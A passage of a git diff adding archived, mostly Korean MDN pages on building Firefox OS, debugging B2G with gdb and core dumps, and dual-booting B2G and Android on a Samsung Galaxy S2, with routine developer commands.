+    <ul>
+      <li>
+        <h3 id="If_you_get_build_errors_while_the_build_system_is_running_tests">If you get build errors while the build system is running tests</h3>
+      </li>
+    </ul>
+    <p>Sometimes (especially after build tool or operating system updates) you'll get weird errors like this when the build system runs its post-build tests:</p>
+    <pre>Generating permissions.sqlite...
+test -d profile || mkdir -p profile
+run-js-command  permissions
+WARNING: permission unknown:offline-app
+WARNING: permission unknown:indexedDB-unlimited
+build/permissions.js:122: NS_ERROR_UNEXPECTED: Component returned failure code: 0x8000ffff (NS_ERROR_UNEXPECTED) [nsIPermissionManager.add]
+make[1]: *** [permissions] Error 3
+make: *** [gaia/profile.tar.gz] Error 2</pre>
+    <p>In this situation, try deleting the <code>gaia/xulrunner-sdk</code> directory and re-pulling the code:</p>
+    <pre>rm -r gaia/xulrunner-sdk
+</pre>
+    <p>This deletes the downloaded, precompiled copy of <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> that the build system retrieves automatically; on your next build, a new copy of XULRunner will be automatically retrieved.</p>
+    <h2 id="다음_단계">다음 단계</h2>
+    <p>빌드가 완료되면 다음 단계로는 에뮬레이터로 넣을 것인지 단말기로 놓을 것인지에 따라 아래와 같은 선택사항이 있습니다. 자세한 사항은 각각을 참고 하세요.</p>
+    <ul>
+      <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators">B2G 에뮬레이터 사용하기</a></li>
+      <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">PC용 B2G 클라이언트 사용하기</a></li>
+      <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Installing_Boot_to_Gecko_on_a_mobile_device" title="en-US/docs/Mozilla/Boot_to_Gecko/Installing_Boot_to_Gecko_on_a_mobile_device">단말기에 Boot to Gecko 설치하기</a></li>
+      <li><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Pandaboard" title="en-US/docs/Mozilla/Boot_to_Gecko/Pandaboard">판다보드에 Boot to Gecko 설치하기</a></li>
+    </ul>
+  </li>
+</ol>
diff --git a/files/ko/archive/b2g_os/building_and_installing_firefox_os/index.html b/files/ko/archive/b2g_os/building_and_installing_firefox_os/index.html
new file mode 100644
index 0000000000..a6c5dd7472
--- /dev/null
+++ b/files/ko/archive/b2g_os/building_and_installing_firefox_os/index.html
@@ -0,0 +1,49 @@
+---
+title: Firefox OS를 빌드 및 설치하기
+slug: Archive/B2G_OS/Building_and_installing_Firefox_OS
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS
+---
+<p>Firefox OS는 현재 활발히 개발 중이며, 릴리즈되기 전입니다. 최신버전을 설치하려면 여러분이 직접 빌딩하고 설치해야 합니다. 이 페이지에 나와있는 글들은 여러분에게 에뮬레이터나 호환기기에 Firefox OS를 빌딩하고 설치하거나 Firefox 브라우저에 <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia" title="en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia">Gaia</a> 유저 인터페이스를 빌딩하고 설치하는 방법을 알려줄 겁니다.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="FIREFOX_OS_빌드하기">FIREFOX OS 빌드하기</h2>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/Firefox_OS/Building_and_installing_Firefox_OS/Firefox_OS_build_overview">Firefox OS 빌드 과정 요약</a></dt>
+     <dd>Firefox OS를 빌드하고 설치하는데에는 상당량의 시간, 네트워크 데이터 사용, 그리고 컴퓨터 성능 등을 요구한다. 이 글은 사용자의 빌드 과정의 목적과 절차 등을 이해시키고자한다.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G build prerequisites">Firefox OS 빌드 요구사양</a></dt>
+     <dd>처음 Firefox OS를 빌드하기 전에 필요하거나 필요해질 것들.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build" title="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing for your first B2G build">Firefox OS 빌드 준비하기</a></dt>
+     <dd>Firefox OS를 빌드하기 전에 여러분은 저장소를 복제하고 빌드 환경을 설정해야 한다. 이 글은 그 방법을 설명한다.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko" title="en-US/docs/Mozilla/Boot_to_Gecko/Building Boot to Gecko">Firefox OS 빌딩하기</a></dt>
+     <dd>Firefox OS 빌드 방법.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">전체보기...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="FIREFOX_OS_설치하기">FIREFOX OS 설치하기</h2>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Choosing_how_to_run_Gaia_or_B2G" title="en-US/docs/Mozilla/Boot_to_Gecko/Choosing how to run Gaia or B2G">Gaia나 Firefox OS를 선택하여 실행하기</a></dt>
+     <dd>여러분은 Firefox에서 Gaia를 사용하거나 모바일 기기에서 Firefox OS를 실행하거나 데스크톱용 시뮬레이션을 사용할 수 있습니다. 여러분의 필요에 대해 어떤 것을 선택해야 할지 도와줄 것입니다.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_Gaia_in_Firefox" title="en-US/docs/Mozilla/Boot_to_Gecko/Using Gaia in Firefox">Firefox 에서 Gaia 사용하기</a></dt>
+     <dd>Firefox 데스크톱 버전에서 Gaia 사용하는 방법.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">Firefox OS 데스크톱 클라이언트(시뮬레이터) 사용하기</a></dt>
+     <dd>Firefox OS 데스크톱 클라이언트를 실행하고 사용하는 방법;데스크톱 애플리케이션안 Gaia환경을 만듭니다. Firefox 에서 Gaia를 실행하는 것보다는 더 나은 환경이나 에뮬레이터를 사용하는 것보다는 못합니다.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Boot_to_Gecko/Using the B2G emulators">Firefox OS 에뮬레이터 사용하기</a></dt>
+     <dd>Firefox OS 에뮬레이터를 빌드하고 사용하고, 언제 어떤 에뮬레이터를 사용해야 하는지에 대한 안내.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Installing_Boot_to_Gecko_on_a_mobile_device" title="en-US/docs/Mozilla/Boot_to_Gecko/Installing Boot to Gecko on a mobile device">모바일 기기에 Firefox OS 설치하기</a></dt>
+     <dd>모바일 기기에 Firefox OS를 설치하는 방법.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Boot_to_Gecko/Dual_boot_of_B2G_and_Android_on_SGS2" title="/en-US/docs/Mozilla/Boot_to_Gecko/Dual boot of B2G and Android on SGS2">SGS2에서 Firefox OS와 Android 듀얼 부팅하기</a></dt>
+     <dd>삼성 갤럭시 S2에서 Firefox OS/Android 듀얼 부트환경을 설정하는 방법.</dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/ko/archive/b2g_os/debugging/debugging_b2g_using_gdb/index.html b/files/ko/archive/b2g_os/debugging/debugging_b2g_using_gdb/index.html
new file mode 100644
index 0000000000..b7578dff62
--- /dev/null
+++ b/files/ko/archive/b2g_os/debugging/debugging_b2g_using_gdb/index.html
@@ -0,0 +1,153 @@
+---
+title: GDB 및 관련 Tool을 이용한 B2G 디버깅
+slug: Archive/B2G_OS/Debugging/Debugging_B2G_using_gdb
+translation_of: Archive/B2G_OS/Debugging/Debugging_B2G_using_gdb
+---
+<div class="summary">
+<p><strong><code>gdb</code></strong>는 Firefox OS의 애플리케이션 디버깅을 위한 많은 유용한 옵션을 제공하는 command line debugger입니다. B2G상에서 실행 중인 각 프로세스의 app 이름을 보여주는 표준 ps의 wrapper인 <strong><code>b2g-ps</code></strong>와 같은 다른 tool들도 있습니다. 이 문서는 이런 tool들로 Firefox OS 디버깅을 어떻게 수행하는지 보여드립니다.</p>
+</div>
+
+<h2 id="단일_프로세스_모드에서_디버거_시작하기">단일 프로세스 모드에서 디버거 시작하기</h2>
+
+<p>(역자 주: b2g 프로세스에 대한 디버깅을 뜻하는 듯)</p>
+
+<div class="note">
+<p><strong>Note:</strong> 디버거를 실행하기 전에 자신만의 설정을 위해 <code>.userconfig</code> 파일을 셋업할 수 있습니다. 이에 대한 더 자세한 내용은 <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file" title="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a>을 참고하시기 바랍니다.</p>
+</div>
+
+<p>Firefox OS를 재시작한 후 gdb 상에서 실행하기 위해서는 간단히 <code>run-gdb.sh를 사용하시면 됩니다</code> :</p>
+
+<pre>./run-gdb.sh
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 만약 에뮬레이터 상에서 디버깅 하길 원한다면, 혹시 연결되어 있는 폰은 없는지 확인해 보시기 바랍니다; 에뮬레이터를 연결하려는 gdb와 충돌이 발생할 수 있습니다.</p>
+</div>
+
+<p>Firefox OS가 이미 동작 중이고, 재시작없이 Firefox OS를 붙이길 원한다면 아래처럼 할 수 있습니다:</p>
+
+<pre>./run-gdb.sh attach
+</pre>
+
+<h2 id="Out-of-process_tasks_디버깅">Out-of-process tasks 디버깅</h2>
+
+<p>(역자 주: b2g 외 다른 프로세스에 대한 디버깅을 뜻하는 듯)</p>
+
+<p>Firefox OS의 쓰레드 기반 특성(threaded nature) 때문에 종종 B2G task외에 다른 task들을 디버깅 해야할 필요가 있을 수 있습니다. 이를 위해 디버깅 하길 원하는 프로세스의 PID를 확인하는 가장 간단한 방법은 <code>b2g-ps</code> 명령을 사용하는 것입니다:</p>
+
+<pre>$ adb shell b2g-ps
+b2g              root      106   1     189828 56956 ffffffff 40101330 S /system/b2g/b2g
+Browser          app_0     4308  106   52688  16188 ffffffff 400db330 S /system/b2g/plugin-container
+</pre>
+
+<p>위에서 Browser는 browser 애플리케이션을 위한 "content process"로 사용되는 (b2g의) 자식 프로세스입니다. 이 예에서 content process를 디버깅하고 싶다면 아래처럼 하시기 바랍니다:</p>
+
+<pre>$ ./run-gdb.sh attach 4308</pre>
+
+<p>종종 자식 프로세스 생성에 대해 즉시 통보받는게 유용할 때가 있습니다. 이렇게 하기 위해선 <code>MOZ_DEBUG_CHILD_PROCESS</code> 환경변수와 함께 <code>run-gdb.sh를 </code>실행하면 됩니다:</p>
+
+<pre>MOZ_DEBUG_CHILD_PROCESS=1 ./run-gdb.sh</pre>
+
+<p>이렇게 하면 Firefox OS에서 out-of-process 애플리케이션이 실행될 때 새로운 task용 plugin-container의 PID를 출력할 것입니다. 그리고 위에서 봤던 attach 명령을 사용하기에 충분한 시간인 30초 동안 sleep 할 것 입니다:</p>
+
+<pre>$ ./run-gdb.sh attach 4308</pre>
+
+<p>만일 부팅 중 발생하는 어떤 부분을 디버깅하려고 한다면, 새로운 애플리케이션에 대한 디버거 인스턴스(debugger instance)를 적절하게 빨리 실행해야 합니다. 일단 새로운 디버거가 실행되면 새로운 task의 동작을 지속하기 위해 즉시 "c"를 눌러야 합니다.</p>
+
+<h2 id="Core_파일_디버깅">Core 파일 디버깅</h2>
+
+<div class="warning">
+<p><strong>Warning: </strong>Core 파일은 프로세스의 전체 메모리 내용을 포함하고 있습니다. 이 파일은 여러분이 Firefox OS에 입력한 개인 정보를 포함하고 있을 수 있습니다. 그러므로 core 파일은 주의깊게 공유되어야 합니다.</p>
+</div>
+
+<p>기본적으로 Firefox OS는 프로세스가 crash 되었을 때 core 파일을 dump 하지 않습니다. Debug 빌드 버전에서 다음 명령으로 enable 해주어야 합니다:</p>
+
+<pre>$ adb shell setprop persist.debug.coredump all
+$ adb reboot
+</pre>
+
+<p>변경사항을 적용하기 위해서는 리부팅이 필요하며, B2G가 일단 초기화를 시작했으면 crash 발생 시 모든 프로세스가 core dump를 하게 됩니다. 이전 커널(&lt;3.0, hamachi 등)을 사용하는 플랫폼이거나, Gonk 외 B2G의 특정 프로세스(즉 b2g, plugin-container)로부터의 core dump를 원한다면, 다음 명령으로 enable 할 수도 있습니다:</p>
+
+<pre>$ adb shell setprop persist.debug.coredump b2g
+$ adb reboot
+</pre>
+
+<p>Core 파일은 /data/core에 저장됩니다. b2g에 의해 생성된 core 파일은 다음과 같이 열 수 있습니다:</p>
+
+<pre>$ adb pull /data/core .
+$ ./run-gdb.sh core b2g.1286.1412337385.core
+</pre>
+
+<p>Content process의 core 파일은 다음과 같이 열 수 있습니다:</p>
+
+<pre>$ adb pull /data/core .
+$ ./run-gdb.sh core plugin-container Camera.1329.1412617644.core
+</pre>
+
+<h2 id="지원">지원</h2>
+
+<h3 id="기능의_기대_수준">기능의 기대 수준</h3>
+
+<p>다음 디버깅 기능들은 적어도 확실히 동작합니다. 만약 동작하지 않는다면 간단한 설정 변경으로 동작할 것입니다:</p>
+
+<ul>
+ <li>모든 라이브러리의 심볼 (특정 안드로이드 폰의 몇몇 드라이버 제외)</li>
+ <li>완벽한 디버깅 정보를 가진 backtrace (최적화된 인자의 값은 제외)</li>
+ <li>브레이크 포인트(Breakpoints): 심볼, 파일:줄번호 또는 주소에 break를 설정할 수 있어야 합니다. 모두 동작해야 합니다.</li>
+ <li>한 단계씩 진행 ('s'와 'n' 둘 다 동작합니다)</li>
+</ul>
+
+<p>다음 디버깅 기능은 지원하지 않습니다. 사용하지 마시기 바랍니다.</p>
+
+<ul>
+ <li>Watchpoints.</li>
+</ul>
+
+<h3 id="문제_해결">문제 해결</h3>
+
+<p>위에 언급된 것처럼 GDB가 동작하지 않을 때 해볼 수 있는 몇 가지가 있습니다.</p>
+
+<h4 id="B2G_clone이_최신인지_확인">B2G clone이 최신인지 확인</h4>
+
+<p>B2G clone을 업데이트 하려면 아래 두 개의 명령을 실행해야 한다는 것을 항상 명심하시기 바랍니다:</p>
+
+<pre>git pull
+./repo sync</pre>
+
+<p><code>위에서 git pull</code>을 잊는 경우가 이전 <code>run-gdb.sh로 남아있거나 최신 개선사항의 잇점을 얻지 못하는 전형적인 요인입니다.</code></p>
+
+<h4 id="올바른_프로세스를_attach_하고_있는지_확인">올바른 프로세스를 attach 하고 있는지 확인</h4>
+
+<p>잘못된 프로세스를 attach 하는 것(예를 들면 B2G 프로세스 대 Browser 프로세스)은 여러분의 breakpoint가 왜 동작하지 않고 있는지를 설명해 줄겁니다.</p>
+
+<h4 id="Symbol이_올바르게_로드_되었는지_확인">Symbol이 올바르게 로드 되었는지 확인</h4>
+
+<ol>
+ <li>Symbol이 올바르게 로드 되었는지 확인하려면 <code>gdb</code>에서 <code>info shared</code>를 사용해 보세요:
+
+  <pre>(gdb) info shared
+From        To          Syms Read   Shared Object Library
+0xb0001000  0xb0006928  Yes         out/target/product/otoro/symbols/system/bin/linker
+0x40051100  0x4007ed74  Yes         /hack/b2g/B2G/out/target/product/otoro/symbols/system/lib/libc.so
+0x401ab934  0x401aba2c  Yes         /hack/b2g/B2G/out/target/product/otoro/symbols/system/lib/libstdc++.so
+...</pre>
+ </li>
+ <li><code>Syms Read</code> 컬럼이 모두 <code>Yes</code>이어야 합니다. 어떤 안드로이드 폰에서는 몇몇 시스템 라이브러리와 드라이버가 <code>Yes (*)</code>로 나타날 수 있습니다; 그건 괜찮습니다. <code>No가 보이면 안됩니다.</code></li>
+ <li>만약 <code>No가 보인다면</code>, 그게 첫 번째 문제이고 다른 걸 보기전에 그 문제부터 해결해야 합니다.</li>
+ <li><code>run-gdb.sh</code> 명령을 친 후 바로 나타나는 터미널의 출력에 에러 메시지가 있는지 찾아보시기 바랍니다.</li>
+ <li>또한 GDB 명령이 올바른지 터미널 출력을 확인해 보시기 바랍니다. 특히 명령줄의 마지막 인자는 b2g 실행파일의 경로가 되어야 합니다. 아래 올바른 예제가 있습니다:
+  <pre>prebuilt/linux-x86/toolchain/arm-linux-androideabi-4.4.x/bin/arm-linux-androideabi-gdb -x /tmp/b2g.gdbinit.bjacob /hack/b2g/B2G/objdir-gecko/dist/bin/b2g</pre>
+ </li>
+ <li>다음 GDB 변수들을 확인해 보시기 바랍니다: <code>solib-search-path</code> 와 <code>solib-absolute-prefix:</code>
+  <pre>(gdb) show solib-search-path
+The search path for loading non-absolute shared library symbol files is /hack/b2g/B2G/objdir-gecko/dist/bin:out/target/product/otoro/symbols/system/lib:out/target/product/otoro/symbols/system/lib/hw:out/target/product/otoro/symbols/system/lib/egl:out/target/product/otoro/symbols/system/bin:out/target/product/otoro/system/lib:out/target/product/otoro/system/lib/egl:out/target/product/otoro/system/lib/hw:out/target/product/otoro/system/vendor/lib:out/target/product/otoro/system/vendor/lib/hw:out/target/product/otoro/system/vendor/lib/egl.
+(gdb) show solib-absolute-prefix
+The current system root is "out/target/product/otoro/symbols".</pre>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: 만일 도움이 더 필요하시면 #b2g IRC 채널로 오시기 바랍니다. 버그를 찾은 것 같다면 <a href="https://github.com/mozilla-b2g/B2G/issues" title="https://github.com/mozilla-b2g/B2G/issues">B2G issue tracker</a>로 알려주시기 바랍니다.</p>
+</div>
+
+<p> </p>
diff --git a/files/ko/archive/b2g_os/debugging/index.html b/files/ko/archive/b2g_os/debugging/index.html
new file mode 100644
index 0000000000..12a896d185
--- /dev/null
+++ b/files/ko/archive/b2g_os/debugging/index.html
@@ -0,0 +1,84 @@
+---
+title: Debugging on Firefox OS
+slug: Archive/B2G_OS/Debugging
+tags:
+  - B2G
+  - Debugging
+  - Firefox OS
+  - NeedsTranslation
+  - QA
+  - Testing
+  - TopicStub
+translation_of: Archive/B2G_OS/Debugging
+---
+<div class="summary">
+ <p><span class="seoSummary">There are two main types of debugging you'll want to with Firefox OS: debugging apps, and debugging other aspects of the system.</span> This section of the site provides articles covering the different tools at your disposal to debug your Firefox OS code.</p>
+</div>
+<h2 id="Debugging_apps">Debugging apps</h2>
+<p>When debugging your web apps, the best tool at your disposal is Mozilla's powerful <a href="/en-US/Firefox_OS/Using_the_App_Manager">App Manager</a>, which allows you to run your apps directly on a real device or simulator, update any changes instantly, and debug them directly on the device using Mozilla's excellent <a href="https://developer.mozilla.org/en-US/docs/Tools" title="en-US/docs/Tools">developer tools</a>. This should be your first choice, especially for app/Gaia debugging.</p>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Tools/WebIDE">Using WebIDE</a></dt>
+ <dd>
+  The WebIDE is the replacement for the App Manager. Like the App Manager, it enables you to run and debug Firefox OS apps using the Firefox OS Simulator or a real Firefox OS device. However, it also provides an editing environment for you to create and develop apps.</dd>
+ <dt>
+  <a href="/en-US/Firefox_OS/Using_the_App_Manager">Using the App Manager</a></dt>
+ <dd>
+  The App Manager is a new tool available in Firefox for Desktop, which provides a number of useful tools to help you test, deploy and debug HTML5 web apps on Firefox OS phones and the Firefox OS Simulator, directly from your browser.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_OOMs">Debugging out of memory errors on Firefox OS</a></dt>
+ <dd>
+  This article describes how B2G's multiprocess architecture affects what the phone does when we run out of memory, and how to understand and debug OOM crashes.</dd>
+</dl>
+<h2 id="Debugging_GaiaB2G">Debugging Gaia/B2G</h2>
+<p>If you want to debug code from the Gaia apps suite or B2G itself, the following tools will be of use to you.</p>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_using_the_desktop_B2G_client" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_using_the_desktop_B2G_client">Debugging using the desktop B2G client</a></dt>
+ <dd>
+  You can use the dedicated B2G desktop application (and associated tools) to debug multiple aspects of B2G and Gaia.</dd>
+ <dt>
+  <a href="/en-US/Firefox_OS/Debugging/Firefox_OS_crash_reporting">Firefox OS crash reporting</a></dt>
+ <dd>
+  This page details how to handle crash reporting on Firefox OS, including retrieving crash reports, and forcing crashes.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb">Debugging B2G using gdb</a></dt>
+ <dd>
+  The popular gdb debugger can be used to debug Firefox OS and web apps running on a device, or on an emulator. This guide will show you how it's done.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_valgrind" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb">Debugging B2G using Valgrind</a></dt>
+ <dd>
+  Valgrind gives developers access to information about memory allocations, threads, and other information important to performance. This guide shows how to run Valgrind either on desktop B2G or select phone hardware.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Debugging/HTTP_logging#Firefox_OS_phones" title="/en-US/docs/Mozilla/Debugging/HTTP_logging#Firefox_OS_phones">Getting NSPR logs in B2G</a></dt>
+ <dd>
+  You can use NSPR logs to record HTTP and other networking.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL" title="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL">Debugging OpenGL</a></dt>
+ <dd>
+  How to debug OpenGL code on Firefox OS.</dd>
+</dl>
+<h2 id="General_setup_and_information"><strong>General setup and information</strong></h2>
+<p>The following articles provide information on individual aspects of setup for Firefox OS development. The chances are that you won't need these, especially if you are just debugging apps using the App Manager. But we have made them available here in case you do.</p>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings">Developer settings for Firefox OS</a></dt>
+ <dd>
+  There are a number of settings options available for developers on Firefox OS. This guide explains what they do and how to take advantage of them.</dd>
+ <dt>
+  <a href="/en-US/Firefox_OS/Debugging/Installing_ADB">Installing and using ADB</a></dt>
+ <dd>
+  Many aspects of Firefox OS development require installation of <code>adb</code>, the Android Debug Bridge. This article explains how to do that, and shares some common useful ADB commands.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a></dt>
+ <dd>
+  How to log to console on a Firefox OS device, and how to access the resulting logs for review on your computer.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_Firefox_OS_apps_in_desktop_Firefox">Connecting a Firefox OS device to the desktop</a></dt>
+ <dd>
+  This short guide explains how to set up your Firefox OS device and your desktop so that the desktop can communicate with the device over USB.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Setting_up" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Setting_up">Setting up to debug Firefox OS code</a></dt>
+ <dd>
+  Before you can begin using most of the tools integrated into Firefox for debugging code running under Firefox OS, you need to do a little configuration work. This article explains what you need to do.</dd>
+</dl>
diff --git a/files/ko/archive/b2g_os/dual_boot_of_b2g_and_android_on_sgs2/index.html b/files/ko/archive/b2g_os/dual_boot_of_b2g_and_android_on_sgs2/index.html
new file mode 100644
index 0000000000..fa0e0b7ed5
--- /dev/null
+++ b/files/ko/archive/b2g_os/dual_boot_of_b2g_and_android_on_sgs2/index.html
@@ -0,0 +1,79 @@
+---
+title: SGS2에서 B2G와 Android로 듀얼 부팅
+slug: Archive/B2G_OS/Dual_boot_of_B2G_and_Android_on_SGS2
+tags:
+  - 듀얼 부팅
+translation_of: Archive/B2G_OS/Building
+---
+<p></p>
+<p></p><div class="warning warningHeader">
+    <p><strong>Warning:</strong> 이 문서에서 설명하는 내용은 공식적으로 지원하는 구성은 아닙니다. 본인의 결정 하에 사용하세요.</p>
+</div><p></p>
+<p>삼성 Galaxy S2를 가지고 있고, Android를 주로 사용하는 OS로 유지하면서 가끔 B2G를 테스트 하고 싶은 상황이라면, B2G를 <span style="line-height: inherit;">(폰에 이미 존재하는)분리된 </span><span style="line-height: inherit;">파티션에 설치하고 기기를 켤 때 어느 파티션에서 부팅할지 선택할 수 있습니다.</span></p>
+<div class="note">
+  <strong>참고:</strong> 폰은 <strong>반드시</strong> Android 4 (Ice Cream Sandwich) 가 설치되어 있어야 합니다. 그렇지 않다면 아래의 내용은 제대로 동작하지 않을 겁니다.</div>
+<h2 id="선결_조건">선결 조건</h2>
+<p>Android와 B2G로 듀얼 부팅을 하려면 다음의 사항들이 만족되어 있어야 합니다:</p>
+<ul>
+  <li>Galaxy S2 용으로 B2G를 빌드 했어야 합니다</li>
+  <li>Galaxy S2 용 <a href="http://d-h.st/AEZ" title="http://d-h.st/users/siyah/s2">Siyah 커널</a> v. 5.0.1을 다운 받아야 합니다</li>
+  <li>MDN의 가이드를 따라 B2G를 빌드했다면 자동으로 가지고 있을, simg2img 라는 툴이 있어야 합니다</li>
+  <li>heimdall 이라는 툴이 있어야 합니다. 1.3.2 버전에서는 문제가 있을 수 있으므로 1.3.1 버전이 낫습니다.</li>
+</ul>
+<h2 id="최초_환경_설정">최초 환경 설정</h2>
+<p>듀얼 부팅을 하기 위해선 여러가지 조작을 해야 합니다.<br>
+  다음 환경 설정은 처음에 한번만 하면 됩니다.</p>
+<p>heimdall을 루트 권한 없이 사용하려면, android.rules라는 이름(.rules 앞의 내용은 맘대로 정해도 됩니다)의 파일을 만들고 /etc/udev/rules.d 디렉토리에 위치시켜야 합니다. 파일은 다음과 같은 내용을 가져야 합니다:</p>
+<pre>SUBSYSTEM=="usb", ATTRS{idVendor}=="04e8", MODE="0666"</pre>
+<p>이 규칙을 활성화 시키기 위해서, udev를 재시작 해야 합니다:</p>
+<pre>sudo service udev restart</pre>
+<p>이제 폰을 PC와 다시 연결 합니다. 위의 규칙은 또한 adb가 SGS2를 루트 권한 없이 접근 가능하게 할 겁니다.</p>
+<h3 id="Siyah_커널_다운로드_하기">Siyah 커널 다운로드 하기</h3>
+<p>듀얼 부팅을 위해선 Siyah 커널이 필수적입니다. tar 파일을 받아서 압축을 푸셨다면, zImage 라는 이름의 파일을 얻었을 겁니다. 이걸 폰에 다운로드 하기 위해선 다음의 단계를 따라가면 됩니다:</p>
+<ol>
+  <li><span style="line-height: normal;">폰의 전원을 끕니다</span></li>
+  <li><span style="line-height: normal;">다운로드 모드로 리부팅(볼륨 다운, 홈, 파워 버튼을 동시에 눌러 전원을 켜고, 나중에 누르라는 메세지가 뜨면, 볼륨 업 버튼을 누릅니다) 합니다</span></li>
+  <li><span style="line-height: normal;">다음 명령어를 이용해 heimdall로 커널을 다운로드 합니다(폰은 PC에 연결되어 있어야 합니다):</span><br>
+    <pre>heimdall flash --kernel /path/to/zImage</pre>
+  </li>
+</ol>
+<p>커널 다운로드가 완료되면 폰이 재부팅 됩니다</p>
+<h3 id="B2G_롬_환경_준비하기">B2G 롬 환경 준비하기</h3>
+<p>Siyah 커널을 설치하셨다면, Siyah 커널을 이용해 B2G 이미지를 두번째 파티션에 설치하기 위한 환경을 준비해야 합니다:</p>
+<ol>
+  <li>폰의 전원을 끕니다</li>
+  <li>리커버리 모드로 리부팅(볼륨 업, 홈, 파워 버튼을 동시에 눌러 폰의 전원을 켭니다) 합니다</li>
+  <li>CWMT 터치 인터페이스에서, dual-boot 옵션으로 이동 -&gt; Wipe 2ndROM data/cache 메뉴 선택 -&gt; Yes - Wipe 메뉴를 선택합니다. 이 명령은 시간을 좀 필요로 할 겁니다</li>
+</ol>
+<p>명령이 성공적으로 끝나면, Go Back 메뉴를 선택하고 폰을 리부팅 하기 위해 reboot system now 메뉴를 선택합니다. 이제 SD 카드 안에 cache.img와 data.img라는 파일이 포함된 .secondrom 이라는 이름의 디렉토리가 있음을 확인할 수 있습니다.</p>
+<h2 id="B2G_업데이트">B2G 업데이트</h2>
+<p>새로운 버전의 B2G를 빌드 할 때마다 다음의 동작이 필요합니다.</p>
+<p>명령줄에 입력하는 명령을 간편하게 하기 위해, 필요한 모든 파일을 하나의 폴더에 복사해 두는 것을 추천합니다. 복사해 둬야 할 파일들은 다음과 같습니다:</p>
+<ul>
+  <li>B2G/out/target/product/galaxys2/system/bin/ 에 위치한 simg2img</li>
+  <li>B2G/out/target/product/galaxys2/ 에 위치한 system.img</li>
+  <li>B2G/out/target/product/galaxys2/ 에 위치한 userdata.img</li>
+</ul>
+<p>파일들을 모두 하나의 디렉토리에 모았으면, 다음 명령들을 따라합니다:</p>
+<ol>
+  <li>userdata.img 파일로부터 data.img를 추출합니다. 다음의 명령으로 이를 행할 수 있습니다:
+    <pre>simg2img userdata.img data.img</pre>
+  </li>
+  <li>data.img 파일을 폰의 .secondrom 폴더로 이동시킵니다. 폰의 file storage mode 를 활성화 시키고 PC와 폰을 연결해서 할수도 있고, USB 디버그 기능이 활성화 되어 있다면, 다음과 같이 adb를 이용할 수도 있습니다:
+    <pre>adb push /path/to/data.img /sdcard/.secondrom/data.img</pre>
+  </li>
+  <li>폰의 전원을 끕니다</li>
+  <li>다운로드 모드로 리부팅(볼륨 다운, 홈, 파워 버튼을 동시에 눌러 전원을 켜고, 요청받으면 볼륨 업 버튼을 누릅니다) 합니다</li>
